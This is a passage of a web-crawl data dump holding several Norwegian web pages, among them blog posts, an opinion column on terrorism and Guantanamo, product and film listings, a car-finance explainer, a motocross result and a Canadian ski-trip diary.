\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Sissel\u00a0*  \n18:43           \n\n\n\n\n\nGrattis med Kremmerhuset plass :). Veldig moro\\!  \nKlemmer\n\n 1. oktober 2013 kl. 20:01    \n\n\n\n\n\nalveveien sa...\n\nS\u00e5 g\u00f8y\\! Fine bilder:) Klem\n\n 1. oktober 2013 kl. 20:35    \n\n\n\n\n\nS\u00e5 velfortjent, gratulerer.  \nDu har en herlig blogg med vakre bilder \\<3 Fin kveld til deg :)\n\n 1. oktober 2013 kl. 22:38    \n\n## dette bilde fikk 2.plass i Kid interi\u00f8r sommerkonkurranse.\n\n    \n    \n     Vakker gammel skatt\\! \n  - Mrs Hardy\n    \n    \n    \n", "language": "no", "__index_level_0__": "471e8766-4eeb-4b1e-865a-c76d8f11f19c"}
{"url": "http://lillepemmer.blogg.no/om_meg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:31:06Z", "text": "# lillepemmer\n\nlever livet som bergenser\n\nOM LILLE MEG\n\nhei dere\n\nhar sett at jeg f\u013ar flere lesere for hver dag som g\u013ar og det liker jeg virkelig, men savner \u013a f\u013a kommentarer p\u013a innleggene jeg skriver. Ser at det er mange som leser men f\u013ar ca bare 3 - 4 kommentarer og da \u0159ker jo ikke lysten min for \u013a blogge for \u013a si det s\u013ann, s\u013a det jeg pr\u0159ver \u013a si er at jeg trenger tilbakemeldinger p\u013a hva dere synes. Siden jeg ser det er s\u013apass mange lesere tenkte jeg \u013a skrive et lite innlegg om meg.\n\n**Heter** andrea pemmer folkedal men kan si s\u013a mye som at jeg aldri bruker folkedal bortsett fra facebook. Har blogget siden slutten av syvende men har hatt forskjellige blogger pga. forskjellige grunner, kan kanskje skrive om det i et annet innlegg hvis noen vil vite det?\u00a0  \nKom til verden 26. juni 1996 og er da 15 \u013ar n\u013a.Har en hund p\u013a 6 \u013ar som heter Lucy og som jeg virkelig elsker \u013a bruke tid p\u013a selvom jeg ikke er s\u013a flink \u013a g\u013a tur med henne da.. stakkars dyr\\!  \nHar siden jeg gikk i 1 klasse g\u013att p\u013a forskjellige aktiviteter som ballett, turn, h\u013andball og sv\u0159mming, ogs\u013a har jeg faktisk spilt i korps et par \u013ar tru det eller ei. Rundt jule tider i fjor fikk jeg en ryggskade jeg ikke kan forklare hvordan jeg fikk og det endte med at jeg lot v\u0107re \u013a trene p\u013a over et halvt \u013ar.. det lengste jeg noen sinne har g\u013att uten \u013a trene noe som helst. S\u013a det jeg holder p\u013a med n\u013a er zumba p\u013a mandager, jogging et par ganger og styrketrening + treningsstudio.\n\nDe to f\u0159rste \u013arene p\u013a ungdomsskolen gikk jeg p\u013a \u0139stveit ungdomsskole og byttet deretter til Marikollen n\u013a i h\u0159st pga forskjellige grunner.  \nHar kommet i en helt utorlig gjeng og kan bare si postivie ting om dem omtrent, har v\u0107rt s\u013a heldig\\! N\u013a g\u013ar jeg i klasse med min skj\u0159nne Amalie som jeg har kjent siden barnehagen, Sofie og resten av gjengen jeg har v\u0107rt s\u013a heldig \u013a bli kjent med. Rebecka og jeg vi er omtrent helt like, er s\u013a godt \u013a snakke med henne hun er s\u013a utrolig \u013apen og grei og en utrolig lytter.\n\n\n\n**dette ble et veldig langt innlegg.. skj\u0159nner hvis dere ikke leser det\\! haha**\n\n****kommer snart videoblogg, kanskje i helgen?\u00a0  \n\u00a0\n\n\u00a0\n\n\n  \nHei\\! Mitt navn er Andrea og jeg bor i Bergen sammen med mamma, pappa, br\u0159dre og en liten hund. Om det er noe, s\u013a er det bare \u013a legge igjen en kommentar eller sende en mail.  \n", "language": "no", "__index_level_0__": "5c80d79d-fefb-4989-95d1-c811f3073417"}
{"url": "http://erlingborgen.com/index.php/2015/05/05/medansvaret-for-terror/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:10:03Z", "text": "# Det norske medansvaret for terror\n\nMay 5, 2015  \n\n### **Terror i Paris og K\u00f8benhavn. Halshogging i Syria og Libya. Trenger vi mer dokumentasjon p\u00e5 at nye kriger ikke er svaret p\u00e5 ekstremisme og terrorisme?**\n\n#### Etter terroren i K\u00f8benhavn sa statsminister Erna Solberg, at det \"gj\u00f8r sterkt inntrykk, n\u00e5r det er s\u00e5 n\u00e6rt\".\n\nDenne politiske n\u00e6rsyntheten handler ikke bare om at Solberg trolig er lite interessert i utenrikspolitikk. Hun demonstrerer samtidig, at hun ikke \u00f8nsker \u00e5 se vestens og Norges medansvar for terroraksjonene. Siden \"kampen mot terror\" startet i 2001, har USA gjennomf\u00f8rt kriger og milit\u00e6re operasjoner i minst seks land. Et enstemmig parlamentarisk Norge har deltatt b\u00e5de i Afghanistan og i Libya, og har hatt offiserer med i Irak-krigen. Vestens brutale kriger har f\u00f8rt til at hundretusener har mistet livet. Millioner har r\u00f8mt fra sine hjemland. Krigene har ikke skapt en tryggere og mer stabil verden, men isteden mer krig, flere nye ekstremistgrupper og mer terror.\n\nDa den norske regjeringen bestemte seg for \u00e5 sende bombefly til Libya, **ble avgj\u00f8relsen tatt uten stortingsbehandling og etter telefonkonsultasjoner**. De norske krigsflyene bombet mest av alle At SV kunne g\u00e5 med p\u00e5 dette krigertoktet er en g\u00e5te. Det er en like stor g\u00e5te at partiet fortsatt mener det var rett. Da KrF sluttet seg til bombingen, sa nestleder Dagrun Eriksen at den arabiske verden trengte \"en reformasjon, der man ikke bare skifter ut tyranni med folkestyre, men der man ogs\u00e5 skifter ut vilk\u00e5rlig maktmisbruk med respekt for menneskerettigheter\".\n\nHva sier KrF i dag? Halshuggingen av de 21 koptisk kristne fra Egypt i forrige uke, skjedde i det Libya hun og Norge skulle frigj\u00f8re. Den Islamske Staten skal n\u00e5 ha opprettet avdelinger i tre av landets provinser. Libya har hatt fem ulike regjeringer siden bombeangrepenes avslutning. I dag har landet to konkurrerende regjeringer. Det skal finnes s\u00e5 mye som 1700 ulike bev\u00e6pnede grupper. FNs Libya-utsending rapporterte nettopp: \"Libya faller fra hverandre\". Trolig d\u00f8de 30 000 som f\u00f8lge av krigen. De 21 koptisk kristne fra en fattig landsby i Egypt er de siste ofrene.Statsminister Solberg reiste til Paris og uttrykte sin sympati. \"Je suis Charlie\", sa norske politikere.\n\n> N\u00e5r h\u00f8rte vi dem si:  \n> Jeg er Edward Snowden  \n> (som avsl\u00f8rte USAs verdensomspennende og ulovlige avlytting).  \n> Jeg er Chelsea Manning  \n> (som avsl\u00f8rte USAs krigsforbrytelser i Irak og Afghanistan)  \n> Jeg er Julian Assange  \n> (som publiserte Mannings lekkasjer i Wikileaks.)  \n> Det de tre har til felles er at de alle er innesperrede.  \n> Snowden i sitt russiske eksil, Manning i sitt amerikanske fengsel og Assange i Ecuadors London-ambassade.\n\nRegjeringspartiet FrP misbruker attentatene i Paris og K\u00f8benhavn for \u00e5 piske opp stemningen mot mennesker som har en annen religion enn den protestantiske og som b\u00e6rer andre klesplagg enn Carl I. Hagen. De pr\u00f8ver \u00e5 sk\u00e5re billige politiske poenger ved \u00e5 skyve massakrenes ofre foran seg. FrPs haltende trommeslagere plasserer seg selv i den politiske retorikkens bunnsjikt. Stortingsrepresentant Gjermund Hages\u00e6ter nevner en norsk biskop i samme \u00e5ndedrag som de sjofleste terrorister og halshuggere. Hagen sp\u00f8r om Max Hermansen m\u00e5 bli drept f\u00f8r befolkningen v\u00e5kner. Per Sandberg mener at KrF har ansvar for terrorhandlinger og massakre. Erlend Wiborg beskylder hedersmannen K\u00e5re Willoch for \u00e5 legitimere j\u00f8dehets. Har man h\u00f8rt p\u00e5 maken til forsimpling av norsk politikk? Hvor lenge kan intelligens-H\u00f8yre regjere sammen med FrP? Hvor lenge orker KrF \u00e5 v\u00e6re st\u00f8tteparti for den norske politiske ekstremismen?\n\nKampen mot terror har medf\u00f8rt mange lidelser og ofre, og man skal v\u00e6re forsiktig med \u00e5 rangere menneskerettighetsbrudd. Men Guantanamo er trolig det ekleste eksempelet p\u00e5 et statlig iscenesatt overgrepssystem. Siden 2005 har jeg arbeidet mye med torturbasen. Jeg har snakket med 15 l\u00f8slatte fanger og h\u00f8rt historier om mishandling og rettsl\u00f8shet. For tre \u00e5r siden laget jeg dokumentaren, \"D\u00f8den i Camp Delta\". Det er historien om hvordan tre av fangene d\u00f8de inne i leiren. Filmen beskriver en fars desperate kamp for \u00e5 f\u00e5 sannheten om sin d\u00f8de s\u00f8nn. Fangeleirens ledelse sa de tre fangene hadde gjennomf\u00f8rt en kollektiv selvmordsaksjon for \u00e5 sverte USA. Faren sier at hans s\u00f8nn ble myrdet.\n\nJoseph Hickman arbeidet som vakt p\u00e5 Guantanamo, da de tre fangene d\u00f8de. Han har nettopp publisert en bok, der han beskriver det som skjedde d\u00f8dsnatten i 2006. Han forteller at det finnes et hemmelig CIA-senter inne p\u00e5 Guantanamo. Han skriver at stedet var et laboratorium for nye torturmetoder. De tre fangene ble brakt til laboratoriet og d\u00f8de der inne etter grov tortur, sier Hickman\n\nNylig kom det ogs\u00e5 en annen bok om Guantamo. Siden sommeren 2002 har Mohamedou Ould Slahi v\u00e6rt fange der. I 2005 skrev han for h\u00e5nd en 466 sider lang dagbok om sine f\u00f8rste tre fengsels\u00e5r. Advokatene hans har brukt nesten ti \u00e5r p\u00e5 \u00e5 f\u00e5 utgitt dagboken. I en tid der debatten raser om ytringsfrihetens grenser og om retten til \u00e5 gj\u00f8re narr av religioner, kan det v\u00e6re nyttig \u00e5 minne om at ytringsfriheten ikke gjelder for alle. Dagboken er sensurert av CIA, og ord, avsnitt og sider er sladdet.Det er likevel mer enn nok igjen til \u00e5 forst\u00e5 hva slags helvete Guantanamo er: \"I dag skal vi l\u00e6re deg om flott amerikansk sex\", sa torturistene som lot to toppl\u00f8se kvinner gnikke brystene sine mot fangens kropp, mens de lekte med hans penis.\n\nDette ble gjennomf\u00f8rt av Norges viktigste allierte. Jeg sier bare \"I am Mohamedou\".\n\nCopyright \u00a9 2015 Erling Borgen. All rights reserved.\n", "language": "no", "__index_level_0__": "7d1a9469-94d5-4ef9-acdd-f320c69ee2e5"}
{"url": "http://www.visitoslo.com/no/bransjeweb/innholdsbank/info-fra-databasen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:37:47Z", "text": "# Fredrikstad og Hvaler\n\nFredrikstad og Hvaler h\u00f8rer p\u00e5 en m\u00e5te sammen. Er du f\u00f8rst p\u00e5 bes\u00f8k hos den ene, tar du like gjerne turen innom den andre. Gamlebyen og den vakre skj\u00e6rg\u00e5rden er noen av tingene du bare m\u00e5 oppleve n\u00e5r du er p\u00e5 bes\u00f8k\\!\n\n# Halden\n\n# Indre \u00d8stfold\n\n# Moss\n\n](/Images/Bilder%20Oslo/VisitOSLO/App/app-iphone-aktiviteter-kategorier.jpg)\n\n\u00a0\n\nVisitOSLO har en rikholdig database med informasjon om attraksjoner, aktiviteter, arrangement, overnattingssteder, spisesteder, utesteder med mer. Til dette bruker vi databasel\u00f8sningen til New Mind | Tellus.\u00a0  \n  \n  \nFor \u00e5 gj\u00f8re denne informasjonen tilgjengelig for flere, har VisitOSLO valgt \u00e5 \u00e5pne API-et: De som \u00f8nsker det, kan bygge egne tjenester med innhold fra v\u00e5r database.\u00a0  \n  \n  \n**\u00d8nsker du \u00e5 ha en museumsliste p\u00e5 dine nettsider? Eller kanskje en oversikt over dagens arrangement p\u00e5 hotell-tv-en? Et kart som viser restauranter i n\u00e6rheten?**  \n  \n**Dette kan du n\u00e5 hente \u00a0rett ut fra databasen v\u00e5r, og presentere det slik du \u00f8nsker p\u00e5 din egen web. \u00a0**  \n  \n# Fra v\u00e5r bransjeblogg\n\n", "language": "no", "__index_level_0__": "9d03e88e-0677-498a-a20e-492ec80c6ae8"}
{"url": "http://www.flixfilmer.no/adventureland/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00258.warc.gz", "warc_date": "2018-03-24T23:37:01Z", "text": "# Adventureland\n\n**Date:** 01/08/2016 | Ingen kommentarer\n\n  \n\n\n**Utgitt**: 2009  \n**Sjangere**: Comedy, Drama, Romance  \n**Regiss\u00f8r**: Greg Mottola  \n**Medvirkende**: Jesse Eisenberg, Kelsey Ledgin, Michael Zegen, Ryan McFarland  \n**Spr\u00e5k**: English  \n**IMDB-karakter**: 6.8  \n  \n**Handling** : Nylig uteksaminert fra universitetet og uten penger til \u00e5 reise p\u00e5 den planlagte Europa-ferien, tar James Brennan motvillig en sommerjobb p\u00e5 en forn\u00f8yelsespark.\n\nAdventureland hadde premiere p\u00e5 Netflix Norge den 1. August, 2016. Etter denne datoen g\u00e5r det ofte 6-12 m\u00e5neder f\u00f8r Adventureland kan bli fjernet fra streamingtjenesten eventuelt at det kommer nye avsnitt \u2013 dersom tittelen er en serie. Dette er kun veiledende basert p\u00e5 erfaringer.  \n  \nSe traileren til Adventureland:  \n  \n", "language": "no", "__index_level_0__": "11b9e088-c827-4f19-a243-e461effa50f2"}
{"url": "https://no.lookfantastic.com/dermalogica-special-cleansing-gel-250ml/10366158.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:51:22Z", "text": "\n# Dermalogica Special Cleansing Gel (250ml)\n\n\n\n    \n\n### Beskrivelse\n\n**Dermalogica Special Cleansing Gel** skummer vekk urenheter uten at\u00a0huden din f\u00f8les stram eller t\u00f8rr. Anti-inflammatorisk balm\u00a0mynte- og lavendelekstrakter beroliger huden mens naturlig quillaja saponaria forsiktig skummer bort giftstoffer og fjerner smuss.\n\nDermalogica Special Cleansing Gel er duft- og s\u00e5pefri og ideell for blandings-\u00a0og\u00a0normal hud. Den er designet for \u00e5 fjerne urenheter grundig uten \u00e5 forstyrre hudens naturlige fuktighetsbalanse, og rensen gir en f\u00f8lelse av kj\u00f8lig og rolig hud.\n\nBruksanvisning:\n\n  - Pump en liten mengde rens\u00a0i h\u00e5ndflaten.\n  - Bearbeid geleen forsiktig til du f\u00e5r et dyprensende skum, og bruk det p\u00e5 fuktet ansikt og hals.\n  - Skyll med varmt vann og gjenta for et profesjonelt renseresultat.\n  - F\u00f8lg opp\u00a0med Dermalogica Multi-Active Toner og\u00a0Dermalogica\u00a0Moisturiser for best resultat.\n\n\u00a0\nVennligst sjekk tilgjengeligheten p\u00e5 varen n\u00e5r du bestiller. Denne varen er:\n\nVennligst husk \u00e5 legg til postens leveringstid (2-3 virkedager) for \u00e5 f\u00e5 fullstendig estimert leveringstidspunkt (p\u00e5 d\u00f8ra).\n\n#### Hvordan vet jeg at den er sendt?\n\nDu vil motta en epost for \u00e5 bekrefte n\u00e5r din vare har blitt sendt.\n\nDu kan ogs\u00e5 sjekke ordrestatusen p\u00e5 din ordre og individuelle varer ved \u00e5 g\u00e5 inn p\u00e5 Min Konto detaljer og f\u00f8lg ledetekstene.\n\nVennligst vent 10 virkedager fra utsendelse av din ordre f\u00f8r du kontakter oss om sene leveranser.\n\nDet er anbefalt \u00e5 sjekke med naboene for \u00e5 se om pakken er levnet der, sjekk uthus, garasjer etc hvor pakken kan ha blitt levnet, hvis den er for stor til \u00e5 passe i postkassen. Kontakt ditt lokale postkontor for \u00e5 se om varen har blitt returnert dit som ikke levert og venter p\u00e5 henting.\n\n#### Hvis jeg ikke er helt forn\u00f8yd med min vare?\n\n", "language": "no", "__index_level_0__": "c0649938-2bd4-4e89-bfef-6e9b492e6c39"}
{"url": "http://www.bilfinans.org/innbytte_av_bil.shtml", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:29:57Z", "text": "\n# Bilfinans.org\n\n## \\-Finn riktig bilfinansiering\n\n# Innbytte av bil\n\n  \n\nDette alternativet gjelder for deg som allerede har en **bil** og \u00f8nsker \u00e5 bytte den med en nyere bil, mot et ekstratillegg. For eksempel har du en bil som er verdt 100.000 kr, og s\u00e5 \u00f8nsker du en ny bil til 350.000 kr. Det man gj\u00f8r er \u00e5 levere inn den gamle bilen, og s\u00e5 f\u00e5r man den nye bilen til 250.000 kr istedenfor 350.000 kr. Fordelen med innbyttebil er at du blir **kvitt din gamle bil raskt**, du slipper kostnadene med **annonsering** av bil, bruke tid p\u00e5 \u00e5 h\u00e5ndtere folk som \u00f8nsker \u00e5 kj\u00f8pe bilen, pruting etc, og ikke minst s\u00e5 slipper du **risiko** i forhold til om noe galt skjer med bilen. Summen av alt dette gj\u00f8r at mange velger \u00e5 ta innbytte av bil fremfor \u00e5 selge den privat, til tross for at man mest sannsynlig oppn\u00e5r h\u00f8yere pris ved \u00e5 selge bilen privat. Dersom man velger alternativet innbyttebil, b\u00f8r man likevel g\u00e5 til flere forhandlere for \u00e5 sjekke hvilken pris man f\u00e5r for sin gamle bil.\n\n  \n  \n  \n\n", "language": "no", "__index_level_0__": "ebee376a-5a75-4383-afb8-cfb8dbd8fa73"}
{"url": "https://liernett.no/855-norgesmester-i-motocross", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00258.warc.gz", "warc_date": "2018-03-24T23:26:32Z", "text": "# Norgesmester i motocross\n\n## Lier motorsykkelklubb vant NM for lag i Moelv i helga.\n\nOnsdag 4. oktober 2006\n\nTorger Almaas (tekst)\n\nLiungene tok gull, med Jan Runar Fuglerud, Jan Olav Lunewski, Tony Gravdal og Kim Hennum p\u00e5 laget. Jan Rune Fuglerud vant begge sine heat.  \n  \nAndrelaget med Magnus Fuglerud, Nikolai Alvestad, Kristian Gravdal og Morten Dahlstr\u00f8m kom p\u00e5 8. plass.  \n  \nI klassen MX85 til Jonas Hansen, Nikolay Alvestad, Kristian Gravdal og Mads Stens\u00f8y en sterk 5. palss\n\n", "language": "no", "__index_level_0__": "13d8a5e2-afbe-4848-bf4a-7aef9e9fa730"}
{"url": "https://tommymultisport.wordpress.com/2009/03/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:18:17Z", "text": "\n\n# Monthly Archives: mars 2009\n\nmars 24, 2009 \u00b7 21:16\n\n## Hviledag igjen,godt vi har tre\u00a0uker\\!\\!\n\n\u00a0Etter to uker i himmelriket er vi n\u00e5 tilbake til \u00abnorske forhold\u00bb med blaut eller kartongsn\u00f8 og gr\u00e5tt v\u00e6r. Dagen i g\u00e5r var veldig fin da solen tittet godt frem. Dagen i dag har vi v\u00e6rt p\u00e5 kafe i Nelson. kafelivet er blomstrende her nede, til og med 8.30 i g\u00e5rmorges var det fult p\u00e5 den lokale kafeen. Tuslet innom alle sportsbutikkene, blitt godt kjent med de. N\u00e5 er jeg p\u00e5 nettet \u00e5 surfer rundt her, men skal snart ut \u00e5 l\u00f8pe opp til Whitevater anlegget. Blir mye drikke og mat her, er fryktelig billig s\u00e5 godt \u00e5 f\u00e5 gjenomf\u00f8rt noen kvalitets\u00f8kter ogs\u00e5. Lett \u00e5 bli tykk og lat\u2026\n\n100,- for et stort m\u00e5ltid og vin p\u00e5 en fin resturant. Outher clowes har uten tvil blitt v\u00e5r favoritt. Hvitl\u00f8ksretter i alle varianter. Max p\u00e5 Monashee anbefalte det til oss,perfekt. Bor ogs\u00e5 for 150,- pr prs/pr d\u00f8gn med 2 queensbed, peis, lite kj\u00f8kken og nett. Annet stasj er ogs\u00e5 ca 1/2 av Norge. Jo dette er en billig tur, eneste som er dyrt er heiskort som er over norske priser. Men blitt mye toppturer utenom katski. En en tur hit kontra en alpetur kan fort l\u00f8nne seg om man er en stund som oss.\n\nVenter p\u00e5 et lite sn\u00f8dump i kveld, s\u00e5 Whitevater er planlagt i morgen, uvist hva som skjer med sn\u00f8forholdene men ogs\u00e5 meldt som s\u00e5 en lang topptur er ogs\u00e5 en mulighet. Drar nok til Rogers pass i morgen kveld, ny soldag og s\u00f8ker en rockenrolltopp. Men fortsatt skredfare 3 her nede p\u00e5 grunn av de dype lagene, s\u00e5 m\u00e5 finne noe som er trygt nok. Livet er godt, vi har hatt dr\u00f8mmeforhold s\u00e5 ingen stress om ingenting skulle toppe dette, dette er ferie og vi m\u00e5 ingenting egentlig\u2026.\n\nFin rusletopp, evening ridge der borte. Kult med tr\u00e6r p\u00e5 over 2000 moh\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\nFin rusletopp i g\u00e5r.\u00a0Evning ridge der borte. Kult med tr\u00e6r\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Typis canadisk kveld.\u00d8l, hamburger og hokey\n\np\u00e5 2000moh\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n\u00a0\nmars 18, 2009 \u00b7 04:06\n\n## Monashee,Canada. Rocky Mountains\u00a0P\u00e6rle\\!\\!\n\nHviledag i Nelson, n\u00e6rt den amerikanske grensen, en liten hippieby\u00a0med veldig bra sn\u00f8 og lite folk. Etter 4 dager i bunnl\u00f8st t\u00f8rr,lett nydelig sn\u00f8. Og det i skrinn fantantastisk bratt skog, alpint terreng, fluss av renner, lommer, dropp og heng. Dette er lekeland, og jeg har levd ut dr\u00f8mmene mine. Her er det gjort flere skifilmer, sist av Matchstiks i fjor og det med nesten samme forhold. Vi traff som bare det og fikk \u00e5rets beste forhold i f\u00f8lge guidene. Sn\u00f8en i Canada i \u00e5r har v\u00e6rt skredfarlig p\u00e5 grunn av svake dype,lag tidlig p\u00e5 sesongen s\u00e5 forholdsregler m\u00e5 tas. Som skrevet f\u00f8r ble to drept av sn\u00f8skred samme dag vi kom til kicking Horse\n\nVi har v\u00e6rt p\u00e5 Catskiing i 4 dager fra en stor hytte p\u00e5 fjellet med god mat,\u00a0fantastisk mye godt hum\u00f8r og superproffe guider. Spessielt Christi som jobber i\u00a0Voss p\u00e5 sommerene, og Head guide, Mark gjorde intrykk.\u00a0Christi med verdens st\u00f8rste smil og Mark med stor autoritet og cowboyhumor. \u00a0Men hele personalet jobbet store deler av d\u00f8gnet. Bare det \u00e5 finne absolutt best mulig forhold til oss er et stort prosjekt, og det klarte de. Vi har hatt 32 timer kj\u00f8ring, ca 20.000 h\u00f8ydemetere med pudder i 4 dager, ikke en d\u00e5rlig linje, ikke en d\u00e5rlig sving. Her kan man gj\u00f8re absolutt det man vil med skiene. Kast deg utfor hva som helst, fy dette blir man aldri lei av.\n\nV\u00e5r snowcat, Loki. Kom seg frem overalt, 40 graders helninger i dyp sn\u00f8 og snur p\u00e5 5 \u00f8ringen. Helt r\u00e5tt\\!\\!\n\nTakk til gjengen p\u00e5 Monashee powder snowcat . Man svir av mye penger her men det er dette vi dr\u00f8mmer om hele livet, de beste linjene i den beste sn\u00f8en, veldig erfarne guider som setter sikkerheten i h\u00f8ysetet. Jo f\u00f8lte oss trygge selv om 2 av oss ble tatt av et flakskred\u00a0men i skogen. Vi fikk testet kunskapene v\u00e5re. Alt gikk bra.\u00a0I tilegg f\u00e5r vi 4 retters, super frokost,\u00a02 p\u00e5 eget rom, gode t\u00f8rkemuligheter, og\u00a0hottub ute.\u00a0\u00a0Dette en time fra n\u00e6rmeste vei og to timer fra n\u00e6rmeste hus\u00a0h\u00f8yt til fjell\n\nVil du ha det beste, begynn \u00e5 planlegg: http://www.monasheemountaincats.com/\n\n*Klikk p\u00e5 bildene for st\u00f8rre versjon. Vidunderlige skidager betyr lite bilder, hvem vil ofre en linje for \u00e5 stoppe \u00e5 ta bilder i det beste henget\u00a0i den dypeste sn\u00f8en? Men her er et bittelite intrykk.*\n\n\n\nBad etter endt skidag\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Alex med snorkel\n\nLoki, v\u00e5r Cat\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Mye sn\u00f8, til tider sol og alltid stemning\n\n\n\n*Meg tatt av Tommy Jekteberg. Klikk p\u00e5 bildene for st\u00f8rre*\n\n\n\n*Bildene gir ikke all verdens intrykk men her to av Jonas*\n\n\u00a0\n\n*Her er et litt dyrere alternativ som ogs\u00e5 b\u00f8r testes: http://www.vg.no/reise/artikkel.php?artid=541889*\n\nmars 14, 2009 \u00b7 19:14\n\n## Hviledag i Rocky\u00a0Mountain\n\nEtter 5 fantastiske dager med fantastisk fin sn\u00f8 og sol kom skyene med noen sn\u00f8fnugg, fnuggene ble st\u00f8rre og skydekket lavere. Perfekt \u00e5 hvile l\u00e5ra, \u00e5 bare vente p\u00e5 epic\\!\\! Imorgen s\u00f8ndag reiser vi p\u00e5 Cat ski med http://www.monasheemountaincats.com/\u00a0Som skrevet s\u00e5 er det ventet fra 50-100cm sn\u00f8 i l\u00f8pet av helgen og mandag, s\u00e5 dette blir Epic som guidene selv skrev det. Vi blir instalert i fjellhytter med god mat og drikke og blir dratt opp med beltebiler for \u00e5 kj\u00f8re ned ur\u00f8rte fjellsider og skoger. 4000,- for dette i to dager med to overnattinger skremmer ikke. Dette blir en opplevelse for livet\n\nHvildagen i g\u00e5r gikk til sufring,boklesing, en l\u00f8petur og 1500m sv\u00f8mming. For \u00e5 avslutte med hottub ute med en \u00f8l i h\u00e5nda. Deilig det \u00e5. Ingen stress med \u00e5 ut p\u00e5 ski i d\u00e5rlig sikt og passe f\u00f8re, det som er fint med 3 uker p\u00e5 loffen. Skibomslivet er godt, hva som skjer etter cat er uvist men har snakket med mange,s\u00e5 det blir et luksusvalg i s\u00e5fall. Billig \u00e5 bo og billig \u00e5 spise gj\u00f8r at vi ogs\u00e5 lever godt\n\n*Bildene er alle av meg tatt av Stavangers store h\u00e5p Tommy Jekteberg. Trykk p\u00e5 de for \u00e5 f\u00e5 de st\u00f8rre*\n\n\n\n\n\nFiled under ski, tur, Uncategorized\n\nmars 11, 2009 \u00b7 02:48\n\n## Super size me i\u00a0Canada\n\nAlt er stor her i Canada. Vin i \u00f8lglass, starters som en middag, enorme biler, enorme menn, enorme fjell, enorme skoger og tr\u00e6r,\u00a0enorm kaldt, enormt mye sn\u00f8 og det beste av alt enorm store opplevelser\n\nI dag var vi\u00a0i Rogers pass og gikk opp p\u00e5. Glasier crest var bratt oppstigning i tett skog. 20 minus ved start med sterk sol , mye sn\u00f8\u00a0gjorde oplevelsen varm. Utsikten over skogen var syk, her er fjell som gj\u00f8r alpene til sm\u00e5 hauer og jotunheimen til en liten motbakke. Sn\u00f8en var lett og nydelig. Dette er en nasjonal park s\u00e5 vi m\u00e5 betale for \u00e5 g\u00e5 inn og omer\u00e5dene delt i soner, der det t\u00f8ffeste er dyrest. Noen er ogs\u00e5 forbudte. V\u00e5r mann i\u00a0parkkontoret hadde store ord.\u00a0Alt var skredfarlig, alt for kaldt for tur og ingen anbefallinger kunne han gi. Men myknet litt opp \u00e5 \u00abanbefalte\u00bb oss denne turen til slutt. Godt valg. Sn\u00f8en var som klistret til fjellet, liten skredfare,\u00a0s\u00e5 blir nok lengere og t\u00f8ffere tur i morgen\n\nNedkj\u00f8ringen p\u00e5 motsatt side var det beste jeg har gjort p\u00e5 en topptur. Bratt, mye sn\u00f8 og fantastiske puter, paller, dropp\u00a0og bare helt h\u00e6rlig. Hum\u00f8ret i gruppa var estatisk. Turen\u00a0har allerede betalt seg og vi har 2 1/2 uke igjen. Sn\u00f8dump i helga, og planer catskiiing over helga. Men f\u00f8r det 